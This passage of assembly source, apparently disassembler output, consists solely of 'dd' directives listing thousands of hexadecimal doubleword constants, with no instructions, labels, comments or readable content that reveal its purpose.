0C80EC404h, 53E9832Ch dd 4F44505Dh, 462086C5h, 0CB293E30h, 1390C381h, 24876BADh dd 3A53A67Dh, 0E52A78DAh, 0E9154637h, 1EA50D5Ah, 0C60A5EF7h dd 89AA623Ch, 9835820h, 0C8279835h, 3F150D5Eh, 21E9082Ch dd 0BB53050Eh, 33DC3FBh, 8A4902DAh, 38595168h, 56550162h dd 45F92E80h, 91BE682Ah, 83647904h, 0B782DE29h, 868BA8BAh dd 3E8C2415h, 28B9196Ah, 99A85942h, 24671B2Bh, 89CC0903h dd 68389C44h, 0B6200700h, 0D93994E9h, 0FDC3D23Ah, 29032253h dd 2109FB5Bh, 0F1C586D8h, 9850907Ch, 10CC42Bh, 881784FAh dd 1FA1521Eh, 9B43145Ah, 182E56E9h, 0C5CE34EFh, 0C75281E7h dd 2CA85084h, 0BB1CDA60h dd 10E61B4h, 4EE3817Ch, 900F9E72h, 0C3422246h, 68C28652h dd 0C49953C7h, 633057BAh, 0FD81F05h, 9F07F281h, 0E90CAB1Ch dd 77336B26h, 0F67C33E1h, 0CAAE3184h, 0D46A8AF2h, 690B8012h dd 72271182h, 0DD80C144h, 0E0B2B17Fh, 84B490C1h, 4DE97487h dd 7F480751h, 0C130C834h, 0A8F34834h, 77BFF53h, 8649BDF4h dd 59EF03A2h, 40692D0Ah, 0E4CA47F2h, 41A2F2D1h, 26483D8h dd 0D9D2F766h, 3E894FA0h, 0E7B2EB28h, 9804BB4Ah, 1302CB87h dd 5C442C89h, 0EC88FE59h, 0FD407426h, 0E999EC44h, 0D4AAAFFAh dd 4CA6DFFAh, 72B3E943h, 0F3200E42h, 0DA69805Ah, 4A6E00Fh dd 0FCC0DD59h, 891644A6h, 58C1F6CAh, 0A81BCBEAh, 0E2C0225Ah dd 0C2078104h, 44536ED5h, 7E7879E3h, 9D1AD4AFh, 937AEC4h dd 83900401h, 41870482h, 2E265C0Eh, 0C8EF507Dh, 5B6540D5h dd 9CA15D90h, 0F6B280E5h, 80CCFEDCh, 0F4CCFBC4h, 0E330078Eh dd 32A2C58h, 8BA104D8h, 57AC481Ch, 0E9906090h, 3B81740h dd 74F27BA1h, 0D21BE0C1h, 0CE9D2A8Fh, 36E214F8h, 0F579A9C3h dd 0D8645015h, 65DBB849h, 33E91F09h, 52E3B1D2h, 348694C6h dd 44FCEA83h, 3DDEDC5h, 92F78853h, 0A71F60FCh, 502FA829h dd 79032A68h, 20509AADh, 81487CF5h, 49AF020Ch, 625B7EEFh dd 5A0705A4h, 6084AD0Fh, 29E94BD0h, 0EC5F9A7Bh, 66F5C9BFh dd 80C32800h, 501C1CCBh, 0A82888B4h, 0F117042Eh, 5F90AA20h dd 0E2B028EAh, 0B353661Fh, 34992C8Fh, 52F574B8h, 0CD4251B9h dd 770CABC2h, 0C48A020Ch, 436320B0h, 9311BF01h, 0FD29D6CDh dd 9ABE4F60h, 8968132Bh, 7ED26322h, 838934CDh, 1E892ABEh dd 580E2067h, 4811E0A9h, 0FD5C4CC5h, 68B8C69h, 6CD5F7A5h dd 81422A80h, 0F646E7EAh, 0AB01072Ch, 8709432Bh, 7A89993Ch dd 0BB9909DEh, 0E90D0E1Ch, 2676E0B4h, 54207B74h, 0DFE8AE60h dd 8F709562h, 0E88A5C3Ch, 0D3A32C8Bh, 4D6843B4h, 0AC5B1024h dd 0A0B9023Dh, 617C1CA9h, 148E87FFh, 1152CB88h, 59298AB7h dd 81892059h, 0C3D5F3E0h, 0C80E64D6h, 0E9850224h, 0A344CDD1h dd 0A0C3CFEDh, 4C9BDBAAh, 5D643721h, 0C00B605Bh, 6C84250Fh dd 5152BD00h, 4112D668h, 0A5641842h, 0CE07E75Ah, 805CFEC0h dd 0E63168ACh, 7FAF9164h, 0CC38850h, 6A013B6Ch, 446BF307h dd 0BF57009Dh, 0F0F6914h, 6BE94F08h, 80BCA941h, 54EBED9h dd 51020157h, 823C5CB9h, 6E87022h, 267E3313h, 0E7A3C08h dd 86E6C201h, 4390E2Bh, 8693241Fh, 51042C1Dh, 84832AB5h dd 5BDD8010h, 38CD3980h, 28E5C580h, 0A10459E8h, 6D8A6818h dd 8189B7BDh, 0D0F6FC34h, 1A9A04DDh, 0CD2B6008h, 0C2A88B1Dh dd 7D2E0A33h, 0D000994Dh, 0C19C8FBDh, 0E90716EDh, 285640F9h dd 0B7535AF0h, 0CFFE3218h, 0B96E5046h, 0B81ABC82h, 0B80F1114h dd 0E6BB4BFEh, 5222EB2Ch, 18BFBCB1h, 360B2955h, 3827D8CAh dd 25FDD268h, 0F598B5Ch, 19069037h, 2D0CD24Bh, 82D44076h dd 4764771Eh, 83047234h, 0A81C5EDh, 94F95C76h, 6503A750h dd 0F0E959B4h, 0C55143EEh, 39E1E2AAh, 15C01CEh, 0E3100339h dd 0ED8100C9h, 0E342239h, 9BDD5129h, 51200805h, 8135EEE9h dd 2373401h, 0F73EE7BAh, 0B17087D8h, 0C7F580FBh, 48DD9DC3h dd 8DDEE61Fh, 4D1412BCh, 485E50D6h, 502E0D1h, 7BDD5E37h dd 0D454851h, 0F71A1D47h, 6ED83AD7h, 0AF61AC6Eh, 30404342h dd 6B3D443Ah, 0F9899249h, 24333908h, 521709FAh, 0F205BE46h dd 41156748h, 218C5380h, 0E654CA6h, 374D6206h, 8B1E0C3Bh dd 0AC7D8433h, 0F109D0E1h, 974B01B3h, 0BC26C889h, 92E94009h dd 0CEBFB4AAh, 0E1A6FB6Fh, 0C0251A03h, 0F24B33EDh, 58F1A0FAh dd 4ADB85Eh, 112772Ah, 8413AAE8h, 56A4A51Dh, 155A508h dd 0C95F4468h, 0E7F0CF28h, 0F904702h, 0C6762AE4h, 80EE3F4h dd 0A181D3F7h, 5ED94210h, 15211A4h, 29DC3ECDh, 0C73630DFh dd 2D23C500h, 5FF88903h, 0E6B048h, 7C4F0D04h, 6D3541B3h dd 0F5B7FE14h, 3B3805B8h, 0EE091668h, 1A7A0055h, 905E8525h dd 77331857h, 44EA0CA4h, 75F44902h, 485AD589h, 1857DDC0h dd 0E456F62h, 0D0049052h, 5DEF015Fh, 8B2070A5h, 8AB98039h dd 7C717800h, 7B575E2Dh, 0C829096Eh, 571156E9h, 777370EFh dd 33591890h, 0F2121805h, 58D9011Eh, 414C965Bh, 1FE98C98h dd 5603BCBAh, 9918AA68h, 0F6B41B22h, 1A120F8Eh, 188837B3h dd 0B31E2BDh, 6C81721Dh, 50E85E00h, 16F6216h, 0C448A11h dd 6E266B4Ah, 26C2E9E1h, 7520DB80h, 0D1F73F63h, 25623690h dd 78E6E911h, 4FB80567h, 4047905Eh, 782635C9h, 50218B0h dd 65FC372Dh, 7FC18048h, 256AD37Ch, 9D05C9E9h, 0ED788CB8h dd 0D01A2502h, 88C52932h, 0E91E08BCh, 0C69609E7h, 94A8F67Dh dd 31552911h, 0F55E5416h, 57CB75D2h, 1E0883E4h, 2440665Dh dd 4C043243h, 0C281E3ADh, 36075319h, 63E19168h, 0CB018774h dd 8D00325h, 6435E956h, 80C2C10Bh, 5875B559h, 0AA220ED3h dd 31B3C133h, 40226B74h, 0C3668928h, 41253478h, 0D06B21Ch dd 1643645Ch, 10595451h, 0F6C4D066h, 0C180020Fh, 59FCC1C3h dd 4C665560h, 123EAB5Bh, 0FEB13EFCh, 0EDBF698h, 0E373C006h dd 0F50CF3FAh, 0F51DEBE9h, 0BF681E66h, 80119354h, 2ACC8062h dd 0C61FECE6h, 274DE628h, 26972E09h, 0FFAA4734h, 0C71AD230h dd 59CF6348h, 5F44559Eh, 302633E3h, 310246E1h, 295F2Dh dd 3147CCC8h, 4A5E7360h, 68B928C8h, 8C5A2826h, 34AB396Bh dd 43B8001h, 0D734C384h, 36331583h, 0D06317Ah, 4E295C4Eh dd 13480609h, 0AE4649E9h, 4B92B903h, 60006BC4h, 7A804A11h dd 24247C01h, 47AA5F08h, 5EFF63ACh, 10414CEBh, 290A02DBh dd 0F9088C87h, 2405CD12h, 0C4709559h, 683502EDh, 0F8A25627h dd 7097BA2h, 7785049Ah, 0C680DE40h, 70B1516Eh, 59CE303Ch dd 0DD049812h, 683F16B8h, 0A163CF47h, 72F16054h, 386F3AF4h dd 7EFC2CAh, 9D215A0Ah, 2E42EB2Ch, 5183090Ah, 95142D94h dd 25E4CC06h, 22931256h, 0F1069C6h, 0ACE5AB1Eh, 0FFC5009Bh dd 0E977B050h, 0E0E04D3Bh, 68521211h, 613A665Ch, 281277E5h dd 0F4C35AD0h, 527491E6h, 313F7220h, 0F252DA88h, 0B8CACC56h dd 0E918F679h, 0B73A50C0h, 9093B8E0h, 837E54B5h, 5B5F09FAh dd 8DC8D101h, 6880D07Ch, 242F4A92h, 16AE80D5h, 2A51936Ch dd 69B500DAh, 0F73C628Dh, 0EDEE01DEh, 89F3E7D7h, 13227CE7h dd 4EC5031h, 9548E141h, 0B7AEC85Eh, 0DE2D0F4Ch, 3D806A12h dd 24E38953h, 62F1C381h, 0BF000188h, 9EC4C17h, 27A6681Ah dd 8C2009C6h, 41D34118h, 0DBC6AEh, 0B85BDD89h, 303A2079h dd 5C153F96h, 226689C7h, 0CC539E1h, 86E4DCC2h, 62264E7Bh dd 1497A2FBh, 0F5992025h, 683E7226h, 6E433AACh, 0FD46E56Bh dd 0D6E9510Ch, 772950FCh, 72525F2h, 89C483A8h, 0DB24054Ah dd 0BC4780D7h, 26587B6Fh, 302201FEh, 58E93A92h, 47751DAh dd 0C8AB0F66h, 0C45AD52Dh, 3C8B0F31h, 5296D6Dh, 0C29D96AEh dd 0DB6959AEh, 69C0CEF4h, 33B1C4F6h, 7F2F13BCh, 263505CDh dd 11162BF5h, 34CF5332h, 0F6B141FEh, 685ACE82h, 0D7984D82h dd 0C09835B3h, 0EB800308h, 0CCB2EADh, 5963EE88h, 0E089501Fh dd 0A0C1A696h, 0DD911CF6h, 315C0367h, 778F66C3h, 2917C7CAh dd 0E41374D0h, 0AB76F246h, 312F3712h, 44019F12h, 54E20572h dd 626520h, 8732F443h dd 31E949CEh, 0DF41174Ah, 10970CABh, 0C3DE6CECh, 0D4F6ECA3h dd 5258E5A0h, 0B5C4B224h, 2D73BD28h, 0E92FEA1Dh, 0BD9C04ADh dd 2CE8C0CCh, 0CA5E575Dh, 0C3E90596h, 0A44DF4F2h, 1341F0F0h dd 3DC6365Ch, 0CE50344Eh, 2B2B94B4h, 75638D93h, 43A1D817h dd 3189648h, 760136EDh, 42CD9A3Eh, 98080B44h, 0E2E92986h dd 4E314E7Bh, 672599Eh, 913E689Ch, 52507FB8h, 2332E9D2h dd 0F05DB6F7h, 35427AB1h, 8014E2C4h, 488FEB29h, 0C5BC630h dd 3741D6DEh, 0F054012Ch, 754045F5h, 7BB31D50h, 37B12D18h dd 394B212Ah, 0F7802536h, 59B850D3h, 0FC50286Ch, 43C058F6h dd 99E9EA89h, 654D9E26h, 2200F259h, 0D931121Fh, 20E11D5Bh dd 5F90807Eh, 0B520827Ah, 0B60902Ah, 3E5852FBh, 9537592h dd 0B951E300h, 0A2C7841h, 6E1C14Eh, 536403B4h, 0A0B75A26h dd 32E35F28h, 4C5E0CC1h, 98F30DE1h, 96520B6Fh, 81D3E8Ah dd 0F9298510h, 0CBA1C45Fh, 0B9E908F1h, 0C9822C1Bh, 79A46968h dd 0D63E2483h, 62B40BAEh, 0E98924C5h, 5AAABB6h, 11849973h dd 839FDEE2h, 0D728F5C7h, 86E0EFAAh, 468132B4h, 6FA6E6D9h dd 53442C67h, 0FA340485h, 5816CCCDh, 4D98E29Ah, 0CBED4ECBh dd 5868BAC1h, 0E8D10902h, 9461D8F7h, 4340F456h, 0DD32E6A9h dd 24C335B1h, 0B52668A1h, 16F2009h, 3102379Ch, 52B04C28h dd 456936E9h, 0FBBC320Ch, 52050B2Ah, 8BB84031h, 4F02933h dd 0A794855Ah, 7AC409A2h, 0B268063Bh, 59CFF40Bh, 768A484Eh dd 301DA189h, 0B77F448Eh, 0CD3F48h, 3B676C89h, 2E57DD29h dd 857260E9h, 925B4C2Ch, 0F0C117F3h, 7CF47784h, 80789780h dd 4F0B0540h, 85A2E38h, 0C18496E2h, 12C202EBh, 33602901h dd 0BB2AE943h, 0B6FEFF72h, 0C5909BB0h, 201C5AEAh, 3212E9D8h dd 30790FB3h, 0CEC53DE3h, 0E8246A6Dh, 0D8039C52h, 0E013222Eh dd 1D2A96E6h, 9FC1340Eh, 0B0F6C003h, 116D508h, 0F3ABF550h dd 0A46E734Ch, 0A713CEE2h, 603ACD2Eh, 0FCAC3EB1h, 920EC827h dd 0C6DCCAC4h, 0F7ECD0A8h, 0BF6291E5h, 81B17C02h, 656840D7h dd 4887B60h, 29E444E3h, 0EBE680D3h, 1F3110E9h, 0EFA5206h dd 31606CF1h, 1B6880D1h, 0DE988092h, 2014EB60h, 0D6658E3h dd 3033B551h, 4AA73144h, 47291202h, 2B689202h, 216EA97Eh dd 4F6FE938h, 5D3C4C23h, 59D64696h, 7D5E15D1h, 60D510DBh dd 87B80133h, 685C4804h, 8B35DCBh, 2A829210h, 26A5BC54h dd 19156885h, 2C83AD32h, 5B525EA8h, 2B8F3227h, 9F44825Ch dd 188CACC0h, 5A5FA108h, 83A2E66Ch, 7F86680Bh, 0ECC08059h dd 0F4800700h, 88515372h, 0FFCFE4E1h, 945BFDD4h, 322C509Fh dd 74E8283Eh, 30596601h, 480E68C3h, 0FCB86B50h, 65F09E03h dd 907F6434h, 0FB778B9Ah, 0EAC12107h, 3C308107h, 0B8584501h dd 0C78C0220h, 0D6899BCFh, 3814A1A9h, 9C12E54Ah, 0F08189B1h dd 315E7397h, 7C372057h, 29825D03h, 0A380EFBFh, 5AD7E926h dd 0CA04C9CEh, 2F78E910h, 0A121BD93h, 0A4B48969h, 96E25AC9h dd 0E0D0E9C5h, 347D2D19h, 5036E00h, 556F20DFh, 0A2D87C29h dd 9A863A07h, 68C0844h, 749A2C99h, 502E8228h, 0BFA508C2h dd 7C3C310Dh, 0D28B09CEh, 2195A486h, 5047CB0h, 351F1271h dd 0F0916882h, 0C885320Ah, 812C804Ah, 3F260968h, 0E82022DFh dd 71023AAh, 2403C90h, 0EC1BB058h, 9EB17968h, 35006EF7h dd 49E90D17h, 590024B6h, 4A2DF801h, 1B703E06h, 5325D492h dd 0EA9F149Ah, 66268F49h, 913846ABh, 1032865Ch, 4807055Dh dd 9C60A32Dh, 584BC23Ch, 76682344h, 9B7D53DDh, 0F4268996h dd 15AA388Eh, 838E7553h, 0E443D2EBh, 1ED7E9h, 0B4EF81C5h dd 14B1F02h, 0C751CF78h, 0C9916008h, 6DA80600h, 9F758B35h dd 0E505057Dh, 8716D45Bh, 90D027B3h, 145F9B02h, 590AF1B6h dd 6689DA87h, 0BA1B6829h, 685580BEh, 0DE49C10Fh, 16196454h dd 0C04E2893h, 760502E1h, 3911009Ah, 0D0612C35h, 0CA1F2548h dd 0E984235Dh, 12D77C9Bh, 559066h, 0D008EEC0h, 0FE5266E6h dd 124441Dh, 0F6805A83h, 73F1F32Fh, 2231600Ch, 0D1305CB2h dd 549B5381h, 50B948F8h, 5BC9DBB0h, 92565h, 28600889h dd 2DFA3B7Fh, 0A7ED9Ch, 77790F2Fh, 4994FA2Ah, 0C51E4CDCh dd 0C1AC1258h, 30E5C11Bh, 0BF5ADD66h, 0E631A477h, 4276E468h dd 0C2C9E909h, 72E95AD1h, 74E326DAh, 0DBC05AABh, 0E9806972h dd 0C759617Dh, 0C9F08850h, 67FCECC1h, 0B604FFA8h, 9895B9E4h dd 60E4E9EBh, 59C6E326h, 6D7BCC54h, 0D8B92BEAh, 852668E8h dd 5361F084h, 5FFA2781h, 52F47831h, 6E78485Dh, 846E578h dd 5617801Ch, 173E02BEh, 0EE83350Bh, 6C07F554h, 55C0CE10h dd 0F01E1ABDh, 0C6FB877h, 11482E7Fh, 0D613270Ch, 0F1B108D9h dd 0CF1E0D60h, 0F22BD208h, 0BD7D0D82h, 482175Eh, 6C201C68h dd 9F89BCD1h, 52718B50h, 3F0CEC30h, 47DE3Fh, 72B4BB53h dd 2B87E9Eh, 8CA47698h, 9FB2D831h, 895281A1h, 0E9D0C8FAh dd 0F609B35Ah, 0F821705Eh, 4BD97C29h, 0E6CE120Ah, 35407697h dd 0EEC1EDACh, 984A6B79h, 0FBAE5CA0h, 65990792h, 55400668h dd 91E086E9h, 3F822F2Ch, 0C60F60CAh, 4355B1Fh, 0D11421E6h dd 1847F807h, 0E31B28C5h, 470118B8h, 8F5CC33h, 5324751Fh dd 14BF8070h, 2B3C4CC1h, 8B07F128h, 0B67C7F8Fh, 35E7896Dh dd 50884271h, 72BD004Ch, 81468765h, 74B7F507h, 0CD6048E1h dd 4C3C4BDCh, 10004A4Eh, 0C16DB45Dh, 0E92E08E0h, 68A6EE2Eh dd 70AF22B0h, 4F274C69h, 6E542500h, 0D1402076h, 9E2DE004h dd 4BBC2C1Ch, 0E983580Bh, 2A411B92h, 364FAD6Ch, 82E91A5Dh dd 0B1540A46h, 15344CCh, 0E8B58CB7h, 0CC36ED80h, 6D2CFC5h dd 8FC15385h, 2E30C301h, 3C8676C1h, 0BC865BAh, 61109413h dd 2B143105h, 2D753B31h, 0CDB45000h, 0F4D88397h, 50D6EA44h dd 0B0029509h, 32593D8Ah, 3526923Fh, 1D635E8Ah, 95173A15h dd 0A35E5EF1h, 0A612BDC9h, 7AD45013h, 14F5245Bh, 7D78C08Fh dd 50563FAh, 1061517Ch, 7138A94h, 1180C917h, 0A9538568h dd 7F2C543Bh, 0D2A9A3A4h, 0CCCC9556h, 27416C13h, 6712B31Ah dd 0A5713FA0h, 0E2055BF0h, 0BA29287Eh, 0D78A66BAh, 0E913F05Ah dd 0A4A26637h, 834FF746h, 6683125h, 0CB24C70Dh, 50E29973h dd 0C6443954h, 0F8B34D6Ah, 2E14AA90h, 9C7691BBh, 3140376Eh dd 2008FA6Dh, 7F24E960h, 1252E739h, 0EAF0E876h, 4142BC2Ch dd 7988FAB1h, 24844856h, 4969FFBAh, 0F5FC0292h, 0B353251Fh dd 0E5160C5Eh, 894914Eh, 50EA2ED3h, 0FE0F54B0h, 0A5712CC0h dd 0AD192093h, 7B200C3Eh, 0DD28248Ah, 0E4EF3A7Ah, 83A1C196h dd 0CAB621C0h, 0E6FC522h, 0D7BAABA4h, 0D7AEB593h, 1C86BB1h dd 9F0FFC18h, 60F58996h, 835DEA01h, 0F7249DC2h, 3B43BC5Ch dd 0E15B3D05h, 22A9E938h, 51C54B3Ah, 25C9F402h, 8683F554h dd 0D91E5E6Bh, 0B0511584h, 82F459EBh, 0F329267Ch, 0C4082072h dd 0A85BDA76h, 0D20DDA33h, 68AA8891h, 6E5D4D69h, 8717D686h dd 1A575A3Ch, 43DF61F9h, 0F4640402h, 8446A359h, 27C8E34Eh dd 1B73C2FEh, 0E90CCA34h, 9A5411A9h, 9A362A82h, 0D46460FDh dd 5949066Eh, 0DD02D58h, 0CD7831FFh, 3450F2C8h, 0D26934B6h dd 734B2A9Ch, 0F5681426h, 88C1FD05h, 0CFCAE9D4h, 0C2807A03h dd 0F7E2C001h, 1F3EEA63h, 24FE0706h, 0EB28424Bh, 0DAEFDD74h dd 1669F10Ch, 9AF965Eh dd 419C6815h, 89C54F3Bh, 34F07A65h, 17655AE9h, 7E59CA10h dd 0A5F3F37h, 0DB8D8734h, 0D5285E21h, 0BB5901E2h, 51F3200Bh dd 0B9263C33h, 7702BD27h, 11589D1Ch, 4D7F6D52h, 24C529Ch dd 8A1CC928h, 35048B0h, 2B6097B9h, 1C171147h, 5F5FFE01h dd 374CD368h, 2313807Bh, 0F99440A3h, 53380389h, 2296BDC1h dd 0A2F32176h, 0E5B200C8h, 0F2EA48C0h, 28F3F23Eh, 0BD195E2h dd 5AD528EEh, 24E0B861h, 922C6859h, 8FC20D11h, 0BD727351h dd 494069A5h, 1C5C4721h, 0D5E9B33Bh, 773189B0h, 173449C6h dd 1DB63750h, 8064A830h, 0BB8496F2h, 739801D7h, 5994AF5Dh dd 0E6C24EDBh, 0ACE02533h, 51844B2Ch, 0C44A97F3h, 2FD7E60Bh dd 56851B5Ah, 2B407551h, 689AA8D4h, 4E0D59C9h, 0F7885D8Bh dd 37518B34h, 16E2DCC8h, 9340053Dh, 3FE310A7h, 0CED3CEC6h dd 72275F76h, 444312ECh, 5A8C03F2h, 882D6486h, 12080B48h dd 0C8A00EE9h, 5C687F58h, 38D3071Fh, 0C294018Ah, 0F2F560C9h dd 2FDD21Ch, 375FC6A0h, 0C00C9C3h, 30B03ABAh, 5B27685Bh dd 29F02C13h, 0D05AD624h, 0D3889072h, 34D5C8B7h, 2A414E2Dh dd 905D6985h, 345509B8h, 2065421Eh, 0E9454E1Ch, 0A9CD367Ch dd 0B8501008h, 3B0E9F68h, 6786CB0Bh, 0EE815F07h, 34293F5Dh dd 5AE52A6Bh, 0E32366D5h, 83D3586Ah, 0EFAB02CAh, 0A551484Bh dd 41CAC52Eh, 27BD65EBh, 51008714h, 0FABD5556h, 7307ED15h dd 12C4EC81h, 5899CD3h, 204FC3CCh, 0E8280289h, 785659C9h dd 0DAD720BFh, 7CFDD9EFh, 16004890h, 0AB8C3E5Dh, 3C39553Dh dd 15A43E40h, 30CDB03Eh, 0E21D70CEh, 4A5A4768h, 81327235h dd 0EC46CB86h, 6582661Bh, 0A7047109h, 1A96FF40h, 2444F5C1h dd 85C45C08h, 29591312h, 8EA374h, 6B6F184Ah, 0C4DFC6E9h dd 0C7525FCDh, 47C50245h, 78BF9AC0h, 40334600h, 52E9FA31h dd 6676A1FEh, 284FDF2Ch, 6812519Eh, 0EC3713FAh, 640A6E80h dd 0E95D1367h, 1A42CE6h, 0A8247C4Bh, 6DA92FC5h, 0DE382107h dd 3C62A768h, 947CEDDFh, 31B1FB05h, 3BD25DEEh, 2ADE70B3h dd 2D264401h, 0F7CE5758h, 0A88C9E9Fh, 2547AB26h, 5AE633A9h dd 5F670A82h, 3739F200h, 0D6542963h, 42949A78h, 7C214A06h dd 0B8BCB5EAh, 0D68BB93Fh, 0B930C230h, 0AEBCD028h, 8FF7096Bh dd 25CBE895h, 495B3522h, 57A92D92h, 4EEFFB9h, 276AC82h dd 4741F988h, 6AC435F4h, 5B47012Ch, 565F286Bh, 0C709B9E8h dd 0F012F753h, 3FBF0EE0h, 0D1EE1806h, 1F140FEh, 897D788Ah dd 4ECDCE4Ah, 3485F7F3h, 983E081Ah, 9A58127Ah, 5AC60767h dd 0B2592872h, 0C9592AFFh, 888E0E24h, 51EB4BC5h, 22184AC1h dd 0C15A04ACh, 0B8D103E5h, 5D7B0EDAh, 682D0B8Dh, 6B93E961h dd 0DC592CF5h, 5236062h, 31B40A33h, 213788B7h, 0F4E9E425h dd 58A3C707h, 23B6765Ah, 0BE0F660Ah, 688B9CC8h, 29FE523Fh dd 26AD75DEh, 49C3938Dh, 8C72F7B7h, 12B4DB25h, 42275C46h dd 0E1564C9Eh, 0BB54FB69h, 3132EA25h, 0B1511E00h, 0B00550BAh dd 3ACDE9EAh, 1392A0F4h, 0BF963h, 0DF58978Fh, 0CD008125h dd 2BE61739h, 0C13005E9h, 62E0C15Fh, 91914137h, 0EF178051h dd 4DED46E6h, 0AB5B585Ah, 0C3C17B34h, 9C9CEB16h, 5F5EFBFBh dd 24E97828h, 930147C9h, 89A88271h, 0BB48FD59h, 1013C88h dd 0A765F2Dh, 0FA49E9B8h, 26C101F2h, 0C8281BB1h, 676B6225h dd 0F3DA0B0Ah, 9E461B4Ah, 90A3506Ch, 0EC1E547Ch, 87CE2C29h dd 0D1F70153h, 82565249h, 851F73D0h, 4580832Ah, 25065066h dd 0F543C4Ah, 5FFE8984h, 5EA7A056h, 71E95316h, 6C7493F1h dd 0D2591566h, 0E010FB14h, 5B7652B3h, 9EE2421Ch, 0C381607Ch dd 263B5F2Ah, 0A1EB031Dh, 1C736D3Fh, 946F8B18h, 1C68B448h dd 83DD2808h, 59CBF114h, 25231EA0h, 2AC50B8Bh, 0F00B1B24h dd 3C4627C6h, 0AA56F9F9h, 0B0B59260h, 0D211201Bh, 0E6805812h dd 0F7600404h, 0ACB80404h, 41CD8441h, 0A0C3EB47h, 53585215h dd 4807B331h, 0B63334EAh, 35D22D58h, 84F5E987h, 0CDEC73FCh dd 91ECE5E7h, 20CA01DBh, 2A00738Fh, 0BE562066h, 7C722C9Ch dd 0DCCE0150h, 0E97D4360h, 0C3142E63h, 5EF0175Eh, 0BEF14B71h dd 4D72B78h, 0D8062B40h, 0BC2F6897h, 0D110B314h, 979A6C54h dd 0C880B3EBh, 0C00234CFh, 0AA07E03Eh, 0FB9B71Bh, 60003628h dd 817D4A08h, 5128B9F7h, 0E0DAF63Ah, 9641CFC7h, 0D6290F68h dd 7D87EE60h, 5A4F4FBFh, 6B6DA63Dh, 2B21F811h, 5A97EE04h dd 22E9DAA4h, 6D9B0C09h, 15685680h, 0B81C5245h, 0B89B2091h dd 2B0A2FBFh, 0ACE92DAEh, 480F33ECh, 0BB049247h, 826C6FCFh dd 107D389h, 0DA5F0049h, 0AC6E5A1Bh, 0A1B80243h, 0C114997Ah dd 0D7D195A3h, 79C13B4Dh, 101775Fh, 0D9F672B1h, 0D340C0E4h dd 21CB2D80h, 6C56DC77h, 0DDF73613h, 59077902h, 51F0E02Ah dd 0DF5DC5B2h, 241DCB5Bh, 42A7365Ch, 4EC3746Dh, 0C09AADB2h dd 6B34BB53h, 22DEC0Ch, 65173CA7h, 70DEBEE9h, 1F0A1A26h dd 0BF1D0670h, 103E44EFh, 505B2E85h, 3A02D603h, 0B5681730h dd 47EC15h, 3BC07CB9h, 22EEF281h, 71288A24h, 1B2B873Dh dd 8CB094Ch, 55E459BDh, 5DD06DEDh, 57E2D101h, 2C3E97E9h dd 0C1C5C015h, 9D6FA766h, 0BED4485h, 2A665908h, 359A8759h dd 0BF00ADACh, 765D27F8h, 5CDA5801h, 4EE90840h, 5C85C3CEh dd 4053DDF1h, 9770B3F9h, 0C3897A09h, 73837858h, 0F38100D1h dd 3A06034h, 1C90DBF7h, 0B2D93D3Ch, 655B3E63h, 818FB565h dd 0C117BDh, 0F2932BFh, 0DFF71B7Eh, 8002EF44h, 42C27954h dd 95E9850Bh, 3C9D516Fh, 203CFA16h, 2C71319Bh, 0EA197B7Eh dd 0D209D5F7h, 16FFF840h, 0C17A51E1h, 0CEF78DCh, 5EF32908h dd 10148BBAh, 980F422h, 84B86DABh, 54D4873Bh, 0F7E118F1h dd 3558477Ch, 0B171884Ch, 375093FCh, 5164898Ah, 95F70220h dd 9586164Ah, 4700AE06h, 21280C18h, 2055AD0h, 0D7FFEFC2h dd 9B65C689h, 0C5F22989h, 59A2271Ch, 8169D10Ch, 4C40D2C0h dd 0A900379Dh, 53E78142h, 3B119C5Ch, 3ACC14Fh, 6584008Fh dd 0E9551E76h, 59F43654h, 80CB2806h, 79063AEBh, 0E3D03C37h dd 1D29F39Fh, 0D888C5C3h, 51B30B5Bh, 9750FA87h, 6CD0BBE8h dd 4B4C6734h, 0E50153FCh, 29068D20h, 11CD2AF8h, 95B7A548h dd 0EB530109h, 0BA5C5A5h, 6E903FE9h, 0ADEECBC6h, 24677B4Ch dd 93C26D14h, 8FAE0C1Bh, 4AC68A3h, 16AA59A4h, 0ACF42585h dd 10035879h, 0BD02B223h, 707931CAh, 0D899BD4Bh, 5B0A402Dh dd 279B0205h, 0F686DE24h, 745C66E1h, 8A6817CCh, 0E9792372h dd 5E4DE084h, 0F95758h, 29D41655h, 93F7BBFh, 0CF314744h dd 0B18C3105h, 5FB698Dh, 62CA7CBBh, 40557B92h, 267E38C1h dd 10B71963h, 0A1BE02CFh, 0D1721E48h, 970025C0h, 35AB5170h dd 2A1D2949h, 91980A04h, 0DB4D4B42h, 52AF6918h, 6B052905h dd 322D1A47h, 5194C7BAh, 0DEA67F6Eh, 0E85FB384h, 7EC4C470h dd 540033E3h, 0E97C5045h, 60924E0Ah, 68F5E0B0h, 9C34204h dd 79706C68h, 8129190Fh, 87ED846h, 0EB7D819Ah, 945CED2Dh dd 6502001Eh, 4F4735D1h, 6AE96FE9h, 43748432h, 0B92CA903h dd 3F66B6C8h, 281DB753h, 67DEAEF8h, 44549902h, 0E9805C03h dd 0D8499201h, 0C75A4D69h, 0EECD2988h, 0F24A8663h, 99E2D393h dd 1DCC5310h, 53AAA268h, 2F09D983h, 745F095Bh, 9951CFBAh dd 914383Ch, 0AA325480h dd 0E4E9AC59h, 6E91204h, 0E1F88918h, 9657D664h, 32D0209Fh dd 29EB119Dh, 5CE2112Ch, 5E081257h, 0AE470B5Eh, 2626C7B3h dd 4E58FF5Eh, 73E648D1h, 0D36E8202h, 575C2938h, 80432618h dd 80DB5FF5h, 0DC8881DFh, 44619AC9h, 4368172Ch, 0E136CD66h dd 0B4120557h, 7D014CF4h, 0EEA527C8h, 4F827BE4h, 16F97CA2h dd 3C6FC5F4h, 2220C525h, 0C2092CB4h, 135113C4h, 9277CD5Bh dd 0A8E25221h, 92FA011Ch, 0E9CB910Ah, 5108640Dh, 6A5A42ECh dd 0EBD935DDh, 0B144EF33h, 0CE8F4B54h, 1DE90882h, 97BA282Ah dd 2D178708h, 5C01E018h, 7C2F6A95h, 3B0DCD0Dh, 59022272h dd 0E0E564F0h, 5500BFE4h, 8149AB3Bh, 950A4CFh, 0D7F753A0h dd 122C3C03h, 33C048DAh, 0C6092D35h, 0F0AAE9C5h, 0DCBA096Ch dd 23841353h, 78D8AC75h, 93FC544Ch, 0F310D7B3h, 8FE14A09h dd 9C40AD2Ch, 0FC315DFAh, 0AD37AB90h, 0FCA0F54Bh, 0F7E87FE6h dd 5255D61Eh, 1F4048D6h, 136ECDBFh, 0E7D1361Ah, 2B01C404h dd 0E943FA2Ch, 8A341E16h, 10113C68h, 